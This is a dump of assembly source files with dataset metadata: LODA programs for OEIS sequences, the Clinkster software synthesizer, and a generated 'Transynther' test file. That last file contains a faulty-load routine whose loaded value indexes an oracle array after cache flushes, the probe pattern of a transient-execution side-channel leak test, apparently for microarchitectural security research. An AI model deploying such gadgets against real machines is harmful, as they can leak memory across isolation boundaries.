32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
34.4
2,999
0.657241
1863604236b0ed9676e38a9317af695c71c63468
949
asm
Assembly
oeis/273/A273311.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/273/A273311.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/273/A273311.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A273311: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood. ; 1,5,22,62,135,247,408,624,905,1257,1690,2210,2827,3547,4380,5332,6413,7629,8990,10502,12175,14015,16032,18232,20625,23217,26018,29034,32275,35747,39460,43420,47637,52117,56870,61902,67223,72839,78760,84992,91545,98425,105642,113202,121115,129387,138028,147044,156445,166237,176430,187030,198047,209487,221360,233672,246433,259649,273330,287482,302115,317235,332852,348972,365605,382757,400438,418654,437415,456727,476600,497040,518057,539657,561850,584642,608043,632059,656700,681972,707885,734445 lpb $0 mov $2,$0 sub $0,1 seq $2,273309 ; Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood. add $1,$2 lpe add $1,1 mov $0,$1
79.083333
499
0.785037
139fabdac1d7ade782180d61ece5064aeaa44e61
19,205
asm
Assembly
Outside/clinkster/src/clinkster_multithreaded.asm
in4k/SailingBeyond
862a01efd3408aa6d47144f64b8a3332a9c0aa38
[ "MIT" ]
1
2019-10-31T19:30:52.000Z
2019-10-31T19:30:52.000Z
Outside/clinkster/src/clinkster_multithreaded.asm
in4k/SailingBeyond
862a01efd3408aa6d47144f64b8a3332a9c0aa38
[ "MIT" ]
null
null
null
Outside/clinkster/src/clinkster_multithreaded.asm
in4k/SailingBeyond
862a01efd3408aa6d47144f64b8a3332a9c0aa38
[ "MIT" ]
null
null
null
; If set to 1, timing information is generated during music generation ; which is needed for Clinkster_GetInstrumentTrigger. ; Set it to 0 if you don't need this functionality. %define CLINKSTER_GENERATE_TIMING_DATA 1 ; Offset applied by Clinkster_GetPosition to compensate for graphics latency. ; Measured in samples (44100ths of a second). ; The default value of 2048 (corresponding to about 46 milliseconds) is ; appropriate for typical display latencies for high-framerate effects. %define CLINKSTER_TIMER_OFFSET 0 %include "temp/music.asm" ;; ********** Definitions ********** global Clinkster_GenerateMusic global _Clinkster_GenerateMusic@0 global Clinkster_StartMusic global _Clinkster_StartMusic@0 global Clinkster_GetPosition global _Clinkster_GetPosition@0 global Clinkster_GetInstrumentTrigger global _Clinkster_GetInstrumentTrigger@8 global Clinkster_MusicBuffer global _Clinkster_MusicBuffer global Clinkster_TicksPerSecond global _Clinkster_TicksPerSecond global Clinkster_MusicLength global _Clinkster_MusicLength global Clinkster_NumTracks global _Clinkster_NumTracks %if CLINKSTER_GENERATE_TIMING_DATA global Clinkster_NoteTiming global _Clinkster_NoteTiming %endif global Clinkster_WavFileHeader global _Clinkster_WavFileHeader extern __imp__waveOutOpen@24 extern __imp__waveOutPrepareHeader@12 extern __imp__waveOutWrite@12 extern __imp__waveOutGetPosition@12 extern __imp__CreateThread@24 extern __imp__WaitForSingleObject@8 %define SAMPLE_RATE 44100 %define WAVE_SIZE 65536 ;; ********** Public variables ********** section MusBuf bss align=4 Clinkster_MusicBuffer: _Clinkster_MusicBuffer: .align24 resw (TOTAL_SAMPLES*2) resw 2 ; padding to catch extra write in conversion section tps rdata align=4 Clinkster_TicksPerSecond: _Clinkster_TicksPerSecond: dd TICKS_PER_SECOND section muslen rdata align=4 Clinkster_MusicLength: _Clinkster_MusicLength: dd MUSIC_LENGTH section numtr rdata align=4 Clinkster_NumTracks: _Clinkster_NumTracks: dd NUMTRACKS %if CLINKSTER_GENERATE_TIMING_DATA section musdat bss align=4 Clinkster_NoteTiming: _Clinkster_NoteTiming: .align16 resd 2*(NUMTRACKS<<LOGNUMTICKS) section timing data align=4 timing_ptr: dd Clinkster_NoteTiming %endif section WavFile rdata align=4 Clinkster_WavFileHeader: _Clinkster_WavFileHeader: db "RIFF" dd 36+TOTAL_SAMPLES*4 db "WAVE" db "fmt " dd 16 dw 1,2 dd SAMPLE_RATE dd SAMPLE_RATE*4 dw 4,16 db "data" dd TOTAL_SAMPLES*4 ;; ********** System structures ********** section WaveForm rdata align=1 _WaveFormat: dw 1,2 dd SAMPLE_RATE dd SAMPLE_RATE*4 dw 4,16,0 section WaveHdr data align=4 _WaveHdr: dd Clinkster_MusicBuffer dd (TOTAL_SAMPLES*4) dd 0,0,0,0,0,0 section wavehand bss align=4 _WaveOutHandle: .align16 resd 1 section WaveTime data align=4 _WaveTime: dd 4,0,0,0,0,0,0,0 ;; ********** Internal buffers ********** section wforms bss align=4 waveforms: .align16 resd 6*WAVE_SIZE ;; ********** Instrument parameter access ********** section paramw rdata align=4 param_weights: dd 0.125 ; Release dd 0.125 ; Decay dd 0.125 ; Attack %if USES_GAIN dd 0.125 ; Gain %endif %if USES_INDEXDECAY dd 0.0009765625 ; IndexDecay %endif dd 0.0009765625 ; M PitchDecay dd 0.0009765625 ; B PitchDecay dd 0.083333333333 ; M Pitch dd 0.083333333333 ; B Pitch dd 0.0000152587890625 ; Volume %if USES_PANNING dd 0.0000152587890625 ; Volume %endif dd 0.03125 ; Sustain dd 16307 ; RandomSeed dd 1 ; Layers dd 4096.0 ; Index dd 0.125 ; Index Spread dd 0.0009765625 ; M Detune dd 0.0009765625 ; B Detune dd 65536 ; ModWave dd 65536 ; BaseWave struc instr_params ip_basewave: resd 1 ip_modwave: resd 1 ip_bdetune: resd 1 ip_mdetune: resd 1 ip_indexspr: resd 1 ip_index: resd 1 ip_layers: resd 1 ip_randomseed: resd 1 ip_sustain: resd 1 ip_volume: resd 1+USES_PANNING ip_bpitch: resd 1 ip_mpitch: resd 1 ip_bpitchd: resd 1 ip_mpitchd: resd 1 %if USES_INDEXDECAY ip_indexd: resd 1 %endif %if USES_GAIN ip_gain: resd 1 %endif ip_attack: resd 1 ip_decay: resd 1 ip_release: resd 1 endstruc %define ip_INT 0 %define ip_FLOAT 0 %define IP(f,t) dword [dword ebx + g_instrparams + ip_ %+ f + ip_ %+ t] %define IPI(f,i,t) dword [dword ebx + g_instrparams + ip_ %+ f + ip_ %+ t + i] ;; ********** Internal constants and tables ********** section resamp rdata align=4 resamplefilter: db -1,-2,-4,-4,-2,3,14,30,51,98,116,126 db 126,116,98,51,30,14,3,-2,-4,-4,-2,-1 resamplefilter_end: FILTER_SIZE equ (resamplefilter_end-resamplefilter) section wavestep rdata align=4 c_wavestep: dd 0.000030517578125 section basefreq rdata align=4 c_basefreq: dd 2.86698696365342 section halfnote rdata align=4 c_halfnote: dd 1.05946309435929 section finalamp rdata align=4 c_finalamp: dd 32767 section velfac rdata align=4 c_velocityfac: dd 0.007874015748031496 section delaystr rdata align=4 c_delaystr: dd DELAY_STRENGTH section offset rdata align=4 c_timeoffset: dd CLINKSTER_TIMER_OFFSET*4 section tempo rdata align=4 c_ticklength: dd SUBSAMPLES_PER_TICK/4*4 section half rdata align=4 c_onehalf: dd 0.5 ;; ********** Internal global variables ********** struc globalvars g_phasetemp: resd 1 g_layer_random: resd 1 g_stereo: resd 1 ; 0 for left channel, 2 for right channel g_noteposptr: resd 1 g_notesamptr: resd 1 g_instrparams: resb instr_params_size g_layerparams: resq 0 g_layer_bfreq: resq 1 g_layer_mfreq: resq 1 g_layer_index: resq 1 g_layer_bpitch: resq 1 g_layer_mpitch: resq 1 g_layer_bpitchd: resq 1 g_layer_mpitchd: resq 1 %if USES_INDEXDECAY g_layer_indexd: resq 1 %endif %if USES_GAIN g_layer_gain: resq 1 %endif g_layer_attack: resq 1 g_layer_decay: resq 1 g_layer_release: resq 1 alignb 256 g_InstrumentPointers: resd MAX_TRACK_INSTRUMENT_RENDERS+1 resd MAX_DELAY_LENGTH alignb 16777216 g_MixingBuffer: resd TOTAL_SAMPLES alignb 16777216 g_InstrumentBuffer: resd MAX_INSTRUMENT_SUBSAMPLES resd 256 alignb 16777216 g_InstrumentRender: resd MAX_INSTRUMENT_SUBSAMPLES alignb 16777216 g_InstrumentStore: resd MAX_TOTAL_INSTRUMENT_SAMPLES endstruc section vars bss align=8 vars_align16 globals: resb globalvars_size resb globalvars_size ;; ********** Generate the sound for one layer ********** section mklayer text align=1 makelayer: lea edx, [dword ebx + g_layerparams] ; Init random variables for layer fild word [dword ebx + g_layer_random] mov ecx, dword [dword ebx + g_layer_random] ror ecx, cl dec ecx mov dword [dword ebx + g_layer_random], ecx fld IP(bdetune, FLOAT) fmul st0, st0 fmulp st1, st0 fadd st0, st1 fstp qword [edx] add edx, byte 8 fild word [dword ebx + g_layer_random] mov ecx, dword [dword ebx + g_layer_random] ror ecx, cl dec ecx mov dword [dword ebx + g_layer_random], ecx fld IP(mdetune, FLOAT) fmul st0, st0 fmulp st1, st0 fadd st0, st1 fstp qword [edx] add edx, byte 8 fild word [dword ebx + g_layer_random] mov ecx, dword [dword ebx + g_layer_random] ror ecx, cl dec ecx mov dword [dword ebx + g_layer_random], ecx fmul IP(indexspr, FLOAT) fadd IP(index, FLOAT) fstp qword [edx] add edx, byte 8 ; Init exponentiated variables for layer lea edi, [dword ebx + g_instrparams+ip_bpitch] mov ecx, 7+USES_INDEXDECAY+USES_GAIN .powloop: fld dword [edi] fld1 fld st1 fprem fstp st1 f2xm1 fld1 faddp st1, st0 fscale fstp qword [edx] add edx, byte 8 fstp st0 scasd loop .powloop ; Loop over samples fldz ; b phase fldz ; m phase lea edi, [dword ebx + g_InstrumentBuffer] ; Calculate max note size xor eax, eax %if USES_VELOCITY lodsb ; Skip velocity %endif %if USES_LONG_NOTES cmp [esi], byte 0 jge near .short_notelen lodsb not al shl eax, 8 .short_notelen: %endif lodsb ; Length of longest note with this tone mov edx, SUBSAMPLES_PER_TICK mul edx add eax, MAX_RELEASE_SUBSAMPLES xchg ecx, eax .sampleloop: lea edx, [dword ebx + g_layerparams] ; Look up and normalize mod wave fist dword [ebx] mov eax, IP(modwave,INT) mov ax, [ebx] fld dword [waveforms + eax*4] ; Adjust by index fmul qword [edx + 2*8] ; layer_index fadd st0, st2 ; Look up base wave fistp dword [ebx] mov eax, IP(basewave,INT) mov ax, [ebx] fld dword [waveforms + eax*4] ; Update phases fld qword [edx] ; layer_bfreq add edx, byte 8 fmul qword [edx + 2*8] ; layer_bpitch faddp st3, st0 fld qword [edx] ; layer_mfreq add edx, byte 8 fmul qword [edx + 2*8] ; layer_mpitch faddp st2, st0 %if USES_INDEXDECAY fld qword [edx] ; layer_index fld1 fadd st1, st0 fsubp st1, st0 %endif add edx, byte 8 ; Update pitches: p := (p-1)*d+1 .update: fld1 fld qword [edx] ; layer_(b/m)pitch fsub st0, st1 fmul qword [edx + 2*8] ; layer_(b/m)pitchd faddp st1, st0 fstp qword [edx] ; layer_(b/m)pitch add edx, byte 8 neg ecx js .update %if USES_INDEXDECAY fmul qword [edx + 2*8] ; layer_indexd fstp qword [edx - 3*8] ; layer_index %endif ; Add to existing layers fadd dword [edi] fstp dword [edi] scasd loop .sampleloop fstp st0 fstp st0 ret ;; ********** Interpolate one section of amplitude envelope ********** section adsr text align=1 apply_adsr: ; On condition g: ; st0 = amplitude target ; st1 = amplitude ; st2 = velocity / nlayers ; eax = number of samples ; ecx = sample index ; On condition le: ; st0 = number of samples ; st1 = amplitude target ; st2 = amplitude ; st3 = velocity / nlayers ; ecx = sample index push eax jg .integer_length fimul dword [c_finalamp] fistp dword [esp] .integer_length: fsub st0, st1 fild dword [esp] pop eax add eax, ecx fdivp st1, st0 .adsrloop: fld dword [dword ebx + g_InstrumentBuffer + ecx*4] fmul st0, st3 ; velocity / nlayers fmul st0, st2 ; envelope value %if USES_GAIN fld1 fsubr qword [dword ebx + g_layer_gain] fmul st0, st1 fmul st0, st1 fld1 faddp st1, st0 fdivr qword [dword ebx + g_layer_gain] fsqrt fmulp st1, st0 %endif fstp dword [dword ebx + g_InstrumentRender + ecx*4] fadd st1, st0 inc ecx cmp ecx, eax jl .adsrloop fstp st0 ret ;; ********** Main music generation ********** section genMus text align=1 Clinkster_GenerateMusic: _Clinkster_GenerateMusic@0: pusha fninit ; Make waveforms mov edi, waveforms %if USES_SINE fldz mov ecx, WAVE_SIZE .sineloop: fadd dword [c_wavestep] fld st0 fldpi fmulp st1, st0 fsin fstp dword [edi] scasd loop .sineloop fstp st0 %endif %if USES_SAWTOOTH fld1 fchs mov ecx, WAVE_SIZE .sawtoothloop: fadd dword [c_wavestep] fst dword [edi] scasd loop .sawtoothloop fstp st0 %endif %if USES_SQUARE fld1 fchs mov ecx, WAVE_SIZE .squareloop: cmp ecx, WAVE_SIZE/2 jne .notflipsq fabs .notflipsq: fst dword [edi] scasd loop .squareloop fstp st0 %endif %if USES_PARABOLA fld1 fchs mov ecx, WAVE_SIZE .parabolaloop: fadd dword [c_wavestep] fld st0 fmul st0, st1 fadd st0, st0 fld1 fsubp st1, st0 fstp dword [edi] scasd loop .parabolaloop fstp st0 %endif %if USES_TRIANGLE fld1 fchs mov ecx, WAVE_SIZE .triangleloop: fadd dword [c_wavestep] fld st0 fadd st0, st1 fabs fld1 fsubp st1, st0 fstp dword [edi] scasd loop .triangleloop fstp st0 %endif %if USES_NOISE fld1 fchs mov ecx, WAVE_SIZE .noiseloop: fadd dword [c_wavestep] fldpi fmulp st1, st0 fsin fst dword [edi] scasd loop .noiseloop fstp st0 %endif push byte 0 ; lpThreadId push byte 0 ; dwCreationFlags push byte 0 ; lpParameter push makechannel push byte 0 ; dwStackSize push byte 0 ; lpThreadAttributes call [__imp__CreateThread@24] push byte -1 push eax push byte 2 call makechannel call [__imp__WaitForSingleObject@8] popa ret makechannel: ; eax = channel (0 or 2) mov eax, [esp + 4] mov edx, globalvars_size/2 mul edx mov ebx, globals add ebx, eax mov eax, [esp + 4] mov [dword ebx + g_stereo], eax mov dword [dword ebx + g_noteposptr], _NotePositions mov dword [dword ebx + g_notesamptr], _NoteSamples mov esi, _InstrumentData %if USES_DELAY jmp short .trackloop .delay: mov eax, dword [dword ebx + g_stereo] mov edx, (LEFT_DELAY_LENGTH-RIGHT_DELAY_LENGTH)*4/2 mul edx sub eax, LEFT_DELAY_LENGTH*4 lea edi, [dword ebx + g_MixingBuffer] mov ecx, TOTAL_SAMPLES .delayloop: fld dword [edi+eax] fmul dword [c_delaystr] fadd dword [edi] fstp dword [edi] scasd loop .delayloop %endif .trackloop: ; ESI = instr data lea edi, [dword ebx + g_instrparams] mov ecx, instr_params_size/4 .ploop: lodsb movsx eax, al push eax fild dword [esp] pop eax fmul dword [param_weights-4+ecx*4] fstp dword [edi] scasd loop .ploop lea edi, [dword ebx + g_instrparams+ip_bpitchd] mov ecx, 2+USES_INDEXDECAY .cubeloop: fld dword [edi] fld st0 fmul st0, st0 fmulp st1, st0 fstp dword [edi] scasd loop .cubeloop lea ebp, [dword ebx + g_InstrumentPointers] lea edi, [dword ebx + g_InstrumentStore] mov dword [ebp], edi ; store first instrument instance address fld dword [c_basefreq] ; Loop over instrument tones .toneloop: xor eax, eax lodsb ; Tone .freqloop: fmul dword [c_halfnote] dec eax jge .freqloop ; random seed for channel = RandomSeed * 16307 + channel * 12042 mov eax, dword [dword ebx + g_stereo] mov edx, 12042/2 mul edx add eax, IP(randomseed,INT) xchg ecx, eax mov dword [dword ebx + g_layer_random], ecx xor eax, eax lea edi, [dword ebx + g_InstrumentBuffer] mov ecx, MAX_INSTRUMENT_SUBSAMPLES rep stosd ; Loop over layers mov ecx, IP(layers,INT) .layerloop: pusha call makelayer popa loop .layerloop .lengthloop: %if USES_VELOCITY lodsb movsx eax, al push eax fild dword [esp] pop eax fmul dword [c_velocityfac] %else fld1 %endif fidiv IP(layers,INT) xor ecx, ecx ; sample index fldz ; amplitude level fld1 ; attack amplitude target fld qword [dword ebx + g_layer_attack]; attack length call apply_adsr fld IP(sustain,FLOAT) ; decay amplitude target fld qword [dword ebx + g_layer_decay] ; decay length call apply_adsr xor eax, eax %if USES_LONG_NOTES cmp [esi], byte 0 jge near .short_notelen lodsb not al shl eax, 8 .short_notelen: %endif lodsb ; note length in ticks mov edx, SUBSAMPLES_PER_TICK mul edx sub eax, ecx ; note length exclusing attack and decay jle .nosustain ; attack + decay overflows note length fld IP(sustain,FLOAT) ; sustain amplitude target call apply_adsr .nosustain: fldz ; release amplitude target fld qword [dword ebx + g_layer_release];release length call apply_adsr fldz ; padding amplitude fld1 ; padding length call apply_adsr fstp st0 fstp st0 ; Resampling push esi mov edi, [ebp] ; instrument instance address add ebp, byte 4 xchg edx, eax lea esi, [dword ebx + g_InstrumentRender - FILTER_SIZE*4] .resampleloop: fldz mov ecx, FILTER_SIZE .filterloop: movsx eax, byte [resamplefilter + ecx - 1] push eax fild dword [esp] pop eax fmul dword [esi + ecx*4] faddp st1, st0 loop .filterloop %if USES_PANNING mov eax, dword [dword ebx + g_stereo] fmul IPI(volume,eax*2,FLOAT) %else fmul IP(volume,FLOAT) %endif fstp dword [edi] scasd add esi, byte 4*4 sub edx, byte 4 jg .resampleloop mov [ebp], edi ; store instrument instance address pop esi cmp [esi], byte 0 jne near .lengthloop lodsb cmp [esi], byte 0 jge near .toneloop lodsb fstp st0 ; Mixing lea ebp, [dword ebx + g_MixingBuffer] xchg esi, dword [dword ebx + g_notesamptr] .noteloop: xchg esi, dword [dword ebx + g_noteposptr] xor eax, eax cmp [esi], byte 0 jge near .short_notepos lodsb not al shl eax, 8 .short_notepos: lodsb mov edx, SUBSAMPLES_PER_TICK/4*4 mul edx add ebp, eax %if CLINKSTER_GENERATE_TIMING_DATA mov ecx, SUBSAMPLES_PER_TICK/4*4 div ecx xchg edx, eax mov edi, [timing_ptr] mov eax, [edi] mov ecx, edx rep stosd mov [timing_ptr], edi add eax, edx stosd %endif xchg esi, dword [dword ebx + g_noteposptr] xor eax, eax lodsb mov edx, dword [dword ebx + g_InstrumentPointers + eax*4] ; Instrument instance ptr mov edi, ebp .mixloop: fld dword [edx] fadd dword [edi] fstp dword [edi] scasd add edx, byte 4 cmp edx, dword [dword ebx + g_InstrumentPointers + eax*4 + 4] jl .mixloop cmp [esi], byte 0 jge near .noteloop lodsb xchg esi, dword [dword ebx + g_notesamptr] %if CLINKSTER_GENERATE_TIMING_DATA mov ecx, 1<<LOGNUMTICKS mov edi, [timing_ptr] mov eax, [edi] sub ecx, eax rep stosd mov [timing_ptr], edi %endif cmp [esi], byte 0 jge near .trackloop lodsb %if USES_DELAY cmp [esi], byte 0 jge near .delay %endif ; Clamp and convert to shorts fld1 mov edi, Clinkster_MusicBuffer mov ecx, TOTAL_SAMPLES add edi, dword [dword ebx + g_stereo] .sloop: fld dword [dword ebx + g_MixingBuffer + ecx*4] fcomi st0, st1 fcmovnb st0, st1 fchs fcomi st0, st1 fcmovnb st0, st1 fchs fimul dword [c_finalamp] fistp word [edi + ecx*4] loop .sloop fstp st0 ret 4 ;; ********** Start music ********** section startmus text align=1 Clinkster_StartMusic: _Clinkster_StartMusic@0: ; Start music push byte 0 push byte 0 push byte 0 push _WaveFormat push byte -1 push _WaveOutHandle call [__imp__waveOutOpen@24] push byte 32 ; sizeof(WAVEHDR) push _WaveHdr push dword [_WaveOutHandle] ; waveOutHandle call [__imp__waveOutPrepareHeader@12] push byte 32 ; sizeof(WAVEHDR) push _WaveHdr push dword [_WaveOutHandle] call [__imp__waveOutWrite@12] ret ;; ********** Get current play position ********** section getpos text align=1 Clinkster_GetPosition: _Clinkster_GetPosition@0: push byte 32 ; sizeof(MMTIME) push _WaveTime push dword [_WaveOutHandle] call [__imp__waveOutGetPosition@12] fild dword [_WaveTime+4] %if CLINKSTER_TIMER_OFFSET>0 fiadd dword [c_timeoffset] %endif fidiv dword [c_ticklength] ret ;; ********** Get time since instrument trigger ********** %if CLINKSTER_GENERATE_TIMING_DATA section insttrig text align=1 Clinkster_GetInstrumentTrigger: _Clinkster_GetInstrumentTrigger@8: cvttss2si eax, [esp+8] mov ecx, [esp+4] shl ecx, LOGNUMTICKS+2 fld dword [esp+8] fisub dword [Clinkster_NoteTiming+ecx+eax*4] ret 8 %endif
19.942887
86
0.687946
5002bc7de078cf24cf48b6bd327878d1e17ab895
273
asm
Assembly
programs/oeis/062/A062947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/062/A062947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/062/A062947.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A062947: C(n,[n/7]). ; 1,1,1,1,1,1,7,8,9,10,11,12,13,91,105,120,136,153,171,190,1330,1540,1771,2024,2300,2600,2925,20475,23751,27405,31465,35960,40920,46376,324632,376992,435897,501942,575757,658008,749398,5245786,6096454 add $0,1 mov $1,$0 div $0,7 bin $1,$0 mov $0,$1
30.333333
200
0.703297
005d8d7ff32af219f0d8fae6f7c141583e6c6d90
5,533
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_1600.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_1600.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_1600.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x9585, %rsi lea addresses_normal_ht+0x1cc6, %rdi nop nop nop dec %r15 mov $13, %rcx rep movsq nop nop nop dec %r13 lea addresses_normal_ht+0xb4c6, %rsi lea addresses_A_ht+0x8bc6, %rdi nop nop nop nop nop xor %rdx, %rdx mov $5, %rcx rep movsq nop nop nop nop nop mfence lea addresses_D_ht+0xc426, %rsi lea addresses_normal_ht+0x134c6, %rdi nop nop nop nop nop cmp %r13, %r13 mov $98, %rcx rep movsl nop nop nop cmp $7024, %rdi lea addresses_D_ht+0xd0c2, %r15 clflush (%r15) nop sub %rbx, %rbx mov (%r15), %di cmp %r13, %r13 lea addresses_A_ht+0x186de, %rsi lea addresses_normal_ht+0xa234, %rdi clflush (%rdi) nop nop add $65053, %r14 mov $26, %rcx rep movsw xor $53373, %r15 lea addresses_normal_ht+0x15629, %rdx cmp %rbx, %rbx mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%rdx) nop nop xor $20155, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %r9 push %rcx push %rsi // Faulty Load lea addresses_WT+0x1cc6, %rcx nop nop nop nop cmp $17298, %r9 mov (%rcx), %rsi lea oracles, %r12 and $0xff, %rsi shlq $12, %rsi mov (%r12,%rsi,1), %rsi pop %rsi pop %rcx pop %r9 pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 